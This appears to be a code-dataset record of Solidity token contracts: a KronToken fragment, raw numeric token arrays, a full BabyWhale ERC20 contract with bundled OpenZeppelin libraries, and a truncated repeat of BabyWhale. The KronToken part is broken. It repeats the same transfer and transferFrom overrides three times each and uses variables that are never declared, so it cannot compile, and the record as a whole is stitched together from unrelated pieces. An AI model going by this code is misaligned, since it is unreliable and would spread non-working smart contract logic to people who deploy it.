contract KronToken is ERC20, ERC20Burnable, AccessControl { address private owner; uint private _rewardsFactor; uint private _devRewardsFactor; address private _rewardsAddress; address private _devRewardsAddress1; address private _devRewardsAddress2; bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); mapping(address => uint256) private _blockNumberByAddress; constructor() ERC20("KRON Token", "KRON") { owner = msg.sender; _mint(owner, _totalSupply); _setupRole(DEFAULT_ADMIN_ROLE, owner); } function rewardsFactor() public view returns (uint256) { return _rewardsFactor; } function ensureOneHuman(address _to, address _from) internal virtual returns (address) { require(!Address.isContract(_to) || !Address.isContract(_from), 'KRON Token: Atleast one human address is required!'); if (Address.isContract(_to)) return _from; else return _to; } function ensureOneTxPerBlock(address addr) internal virtual { bool isNewBlock = _blockNumberByAddress[addr] == 0 || _blockNumberByAddress[addr] < block.number; require(isNewBlock, 'KRON Token: Only one transaction per block is allowed!'); } function transfer(address _to, uint256 _value) public virtual override returns (bool) { require(_value <= _antiWhaleLimit, "KronToken: Transfer amount exeeds 0.01% of total supply!"); address _from = msg.sender; address human = ensureOneHuman(_from, _to); ensureOneTxPerBlock(human); uint256 totalRewards = _value / _rewardsFactor; uint256 devTotalRewards = totalRewards / _devRewardsFactor; if (ERC20.transfer(_to, _value - totalRewards)) { ERC20.transfer(_rewardsAddress, totalRewards - (devTotalRewards * 2)); ERC20.transfer(_devRewardsAddress1, devTotalRewards); ERC20.transfer(_devRewardsAddress2, devTotalRewards); _blockNumberByAddress[human] = block.number; return true; } else { return false; } } function transfer(address _to, uint256 _value) public virtual override returns (bool) { require(_value <= _antiWhaleLimit, "KronToken: Transfer amount exeeds 0.01% of total supply!"); address _from = msg.sender; address human = ensureOneHuman(_from, _to); ensureOneTxPerBlock(human); uint256 totalRewards = _value / _rewardsFactor; uint256 devTotalRewards = totalRewards / _devRewardsFactor; if (ERC20.transfer(_to, _value - totalRewards)) { ERC20.transfer(_rewardsAddress, totalRewards - (devTotalRewards * 2)); ERC20.transfer(_devRewardsAddress1, devTotalRewards); ERC20.transfer(_devRewardsAddress2, devTotalRewards); _blockNumberByAddress[human] = block.number; return true; } else { return false; } } function transfer(address _to, uint256 _value) public virtual override returns (bool) { require(_value <= _antiWhaleLimit, "KronToken: Transfer amount exeeds 0.01% of total supply!"); address _from = msg.sender; address human = ensureOneHuman(_from, _to); ensureOneTxPerBlock(human); uint256 totalRewards = _value / _rewardsFactor; uint256 devTotalRewards = totalRewards / _devRewardsFactor; if (ERC20.transfer(_to, _value - totalRewards)) { ERC20.transfer(_rewardsAddress, totalRewards - (devTotalRewards * 2)); ERC20.transfer(_devRewardsAddress1, devTotalRewards); ERC20.transfer(_devRewardsAddress2, devTotalRewards); _blockNumberByAddress[human] = block.number; return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) public virtual override returns (bool) { require(_value <= _antiWhaleLimit, "KronToken: Transfer amount exeeds 0.01% of total supply!"); address human = ensureOneHuman(_from, _to); ensureOneTxPerBlock(human); uint256 totalRewards = _value / _rewardsFactor; uint256 devTotalRewards = totalRewards / _devRewardsFactor; if (ERC20.transferFrom(_from, _to, _value - totalRewards)) { ERC20.transferFrom(_from, _rewardsAddress, totalRewards - (devTotalRewards * 2)); ERC20.transferFrom(_from, _devRewardsAddress1, devTotalRewards); ERC20.transferFrom(_from, _devRewardsAddress2, devTotalRewards); _blockNumberByAddress[human] = block.number; return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) public virtual override returns (bool) { require(_value <= _antiWhaleLimit, "KronToken: Transfer amount exeeds 0.01% of total supply!"); address human = ensureOneHuman(_from, _to); ensureOneTxPerBlock(human); uint256 totalRewards = _value / _rewardsFactor; uint256 devTotalRewards = totalRewards / _devRewardsFactor; if (ERC20.transferFrom(_from, _to, _value - totalRewards)) { ERC20.transferFrom(_from, _rewardsAddress, totalRewards - (devTotalRewards * 2)); ERC20.transferFrom(_from, _devRewardsAddress1, devTotalRewards); ERC20.transferFrom(_from, _devRewardsAddress2, devTotalRewards); _blockNumberByAddress[human] = block.number; return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) public virtual override returns (bool) { require(_value <= _antiWhaleLimit, "KronToken: Transfer amount exeeds 0.01% of total supply!"); address human = ensureOneHuman(_from, _to); ensureOneTxPerBlock(human); uint256 totalRewards = _value / _rewardsFactor; uint256 devTotalRewards = totalRewards / _devRewardsFactor; if (ERC20.transferFrom(_from, _to, _value - totalRewards)) { ERC20.transferFrom(_from, _rewardsAddress, totalRewards - (devTotalRewards * 2)); ERC20.transferFrom(_from, _devRewardsAddress1, devTotalRewards); ERC20.transferFrom(_from, _devRewardsAddress2, devTotalRewards); _blockNumberByAddress[human] = block.number; return true; } else { return false; } } function mint(address to, uint256 amount) public { require(hasRole(MINTER_ROLE, msg.sender), "Caller is not a minter"); _mint(to, amount); } }
1,185,365
[ 1, 1684, 279, 394, 2478, 2756, 364, 326, 1131, 387, 2478, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 1475, 1949, 1345, 353, 4232, 39, 3462, 16, 4232, 39, 3462, 38, 321, 429, 16, 24349, 288, 203, 203, 565, 1758, 3238, 3410, 31, 203, 565, 2254, 3238, 389, 266, 6397, 6837, 31, 203, 565, 2254, 3238, 389, 5206, 17631, 14727, 6837, 31, 203, 565, 1758, 3238, 389, 266, 6397, 1887, 31, 203, 565, 1758, 3238, 389, 5206, 17631, 14727, 1887, 21, 31, 203, 565, 1758, 3238, 389, 5206, 17631, 14727, 1887, 22, 31, 203, 203, 203, 565, 1731, 1578, 1071, 5381, 6989, 2560, 67, 16256, 273, 417, 24410, 581, 5034, 2932, 6236, 2560, 67, 16256, 8863, 203, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 3238, 389, 2629, 1854, 858, 1887, 31, 203, 203, 565, 3885, 1435, 4232, 39, 3462, 2932, 47, 19359, 3155, 3113, 315, 47, 19359, 7923, 288, 203, 203, 3639, 3410, 273, 1234, 18, 15330, 31, 203, 203, 203, 203, 203, 203, 3639, 389, 81, 474, 12, 8443, 16, 389, 4963, 3088, 1283, 1769, 203, 203, 3639, 389, 8401, 2996, 12, 5280, 67, 15468, 67, 16256, 16, 3410, 1769, 203, 565, 289, 203, 203, 565, 445, 283, 6397, 6837, 1435, 1071, 1476, 1135, 261, 11890, 5034, 13, 203, 565, 288, 203, 3639, 327, 389, 266, 6397, 6837, 31, 203, 565, 289, 203, 203, 565, 445, 3387, 3335, 28201, 12, 2867, 389, 869, 16, 1758, 389, 2080, 13, 2713, 5024, 1135, 261, 2867, 13, 288, 203, 3639, 2583, 12, 5, 1887, 18, 291, 8924, 24899, 869, 13, 747, 401, 1887, 18, 291, 8924, 24899, 2080, 3631, 296, 47, 19359, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // File: @openzeppelin/contracts/utils/Context.sol /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/utils/math/SafeMath.sol // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: node_modules/@openzeppelin/contracts/token/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: @openzeppelin/contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract BabyWhale is ERC20, Ownable { using SafeMath for uint256; address private commentProgramWallet; address private decentralizedWallet; address private airdropWallet; address private awardDAOWallet; address private teamWallet; uint256 private deploymentTime; uint256 private releasedAwardDaoAmt; uint256 private releasedTeamAmt; uint256 private _totalSupply = 1000000000000 * 10**18; uint256 private _commentProgramSupply = _totalSupply.div(100).mul(40); uint256 private _airdropSupply = _totalSupply.div(100).mul(5); uint256 private _awardDAOSupply = _totalSupply.div(100).mul(10); uint256 private _teamSupply = _totalSupply.div(100).mul(5); uint256 private _decentralizedSupply = _totalSupply .sub(_commentProgramSupply) .sub(_airdropSupply) .sub(_awardDAOSupply) .sub(_teamSupply); uint256 private _maxTxAmount = _totalSupply.div(1000); uint256 private _maxBalance = _totalSupply.div(1000); //Time to release all is ~ 1 year ~ 365 day ~ 31556926s uint256 private _totalSecondOneYear = 31556926; uint256 private _amountUnlockAwardDaoWalletPerSecond = _awardDAOSupply.div(_totalSecondOneYear); uint256 private _amountUnlockTeamWalletPerSecond = _teamSupply.div(_totalSecondOneYear); address[] private _projectWallets; constructor( string memory name, string memory symbol, address[] memory projectWallets ) ERC20(name, symbol) { deploymentTime = block.timestamp; _projectWallets = projectWallets; commentProgramWallet = _projectWallets[0]; decentralizedWallet = _projectWallets[1]; airdropWallet = _projectWallets[2]; awardDAOWallet = _projectWallets[3]; teamWallet = _projectWallets[4]; _mint(commentProgramWallet, _commentProgramSupply); _mint(decentralizedWallet, _decentralizedSupply); _mint(airdropWallet, _airdropSupply); _mint(address(this), _awardDAOSupply); _mint(address(this), _teamSupply); } receive() external payable {} function withdrawAwarDAOFund(address account, uint256 amount) external onlyOwner { require(account == awardDAOWallet, "Only award DAO wallet!"); require( releasedAwardDaoAmt.add(amount) <= _awardDAOSupply, "Must be less than the amount offered" ); uint256 totalUnlockAwardDAOWalletAmt = block .timestamp .sub(deploymentTime) .mul(_amountUnlockTeamWalletPerSecond); require( totalUnlockAwardDAOWalletAmt.sub(releasedAwardDaoAmt) >= amount, "Must not exceed available quantity" ); releasedAwardDaoAmt = releasedAwardDaoAmt.add(amount); IERC20(address(this)).transfer(account, amount); } function withdrawTeamFund(address account, uint256 amount) external onlyOwner { require(account == teamWallet, "Only team wallet!"); require( releasedTeamAmt.add(amount) <= _teamSupply, "Must be less than the amount offered" ); uint256 totalUnlockTeamWalletAmt = block .timestamp .sub(deploymentTime) .mul(_amountUnlockAwardDaoWalletPerSecond); require( totalUnlockTeamWalletAmt.sub(releasedTeamAmt) >= amount, "Must not exceed available quantity" ); releasedTeamAmt = releasedTeamAmt.add(amount); IERC20(address(this)).transfer(account, amount); } function isProjectWallets(address account) internal view returns (bool) { for (uint256 i = 0; i < _projectWallets.length; i++) { if (_projectWallets[i] == account) { return true; } } return false; } function setMaxBalance(uint256 maxBalance) external onlyOwner { _maxBalance = maxBalance; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { require( amount < _maxTxAmount, "Transfer amount exceeds the maxTxAmount." ); require( balanceOf(recipient).add(amount) < _maxBalance || isProjectWallets(recipient), "Recipient account balance exceeds limit." ); return super.transfer(recipient, amount); } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { require( amount < _maxTxAmount, "Transfer amount exceeds the maxTxAmount." ); require( balanceOf(recipient).add(amount) < _maxBalance || isProjectWallets(recipient), "Recipient account balance exceeds limit." ); return super.transferFrom(sender, recipient, amount); } }
Time to release all is ~ 1 year ~ 365 day ~ 31556926s
contract BabyWhale is ERC20, Ownable { using SafeMath for uint256; address private commentProgramWallet; address private decentralizedWallet; address private airdropWallet; address private awardDAOWallet; address private teamWallet; uint256 private deploymentTime; uint256 private releasedAwardDaoAmt; uint256 private releasedTeamAmt; uint256 private _totalSupply = 1000000000000 * 10**18; uint256 private _commentProgramSupply = _totalSupply.div(100).mul(40); uint256 private _airdropSupply = _totalSupply.div(100).mul(5); uint256 private _awardDAOSupply = _totalSupply.div(100).mul(10); uint256 private _teamSupply = _totalSupply.div(100).mul(5); uint256 private _decentralizedSupply = _totalSupply .sub(_commentProgramSupply) .sub(_airdropSupply) .sub(_awardDAOSupply) .sub(_teamSupply); uint256 private _maxTxAmount = _totalSupply.div(1000); uint256 private _maxBalance = _totalSupply.div(1000); uint256 private _totalSecondOneYear = 31556926; uint256 private _amountUnlockAwardDaoWalletPerSecond = _awardDAOSupply.div(_totalSecondOneYear); uint256 private _amountUnlockTeamWalletPerSecond = _teamSupply.div(_totalSecondOneYear); address[] private _projectWallets; constructor( string memory name, string memory symbol, address[] memory projectWallets ) ERC20(name, symbol) { deploymentTime = block.timestamp; _projectWallets = projectWallets; commentProgramWallet = _projectWallets[0]; decentralizedWallet = _projectWallets[1]; airdropWallet = _projectWallets[2]; awardDAOWallet = _projectWallets[3]; teamWallet = _projectWallets[4]; _mint(commentProgramWallet, _commentProgramSupply); _mint(decentralizedWallet, _decentralizedSupply); _mint(airdropWallet, _airdropSupply); _mint(address(this), _awardDAOSupply); _mint(address(this), _teamSupply); } receive() external payable {} function withdrawAwarDAOFund(address account, uint256 amount) external onlyOwner { require(account == awardDAOWallet, "Only award DAO wallet!"); require( releasedAwardDaoAmt.add(amount) <= _awardDAOSupply, "Must be less than the amount offered" ); uint256 totalUnlockAwardDAOWalletAmt = block .timestamp .sub(deploymentTime) .mul(_amountUnlockTeamWalletPerSecond); require( totalUnlockAwardDAOWalletAmt.sub(releasedAwardDaoAmt) >= amount, "Must not exceed available quantity" ); releasedAwardDaoAmt = releasedAwardDaoAmt.add(amount); IERC20(address(this)).transfer(account, amount); } function withdrawTeamFund(address account, uint256 amount) external onlyOwner { require(account == teamWallet, "Only team wallet!"); require( releasedTeamAmt.add(amount) <= _teamSupply, "Must be less than the amount offered" ); uint256 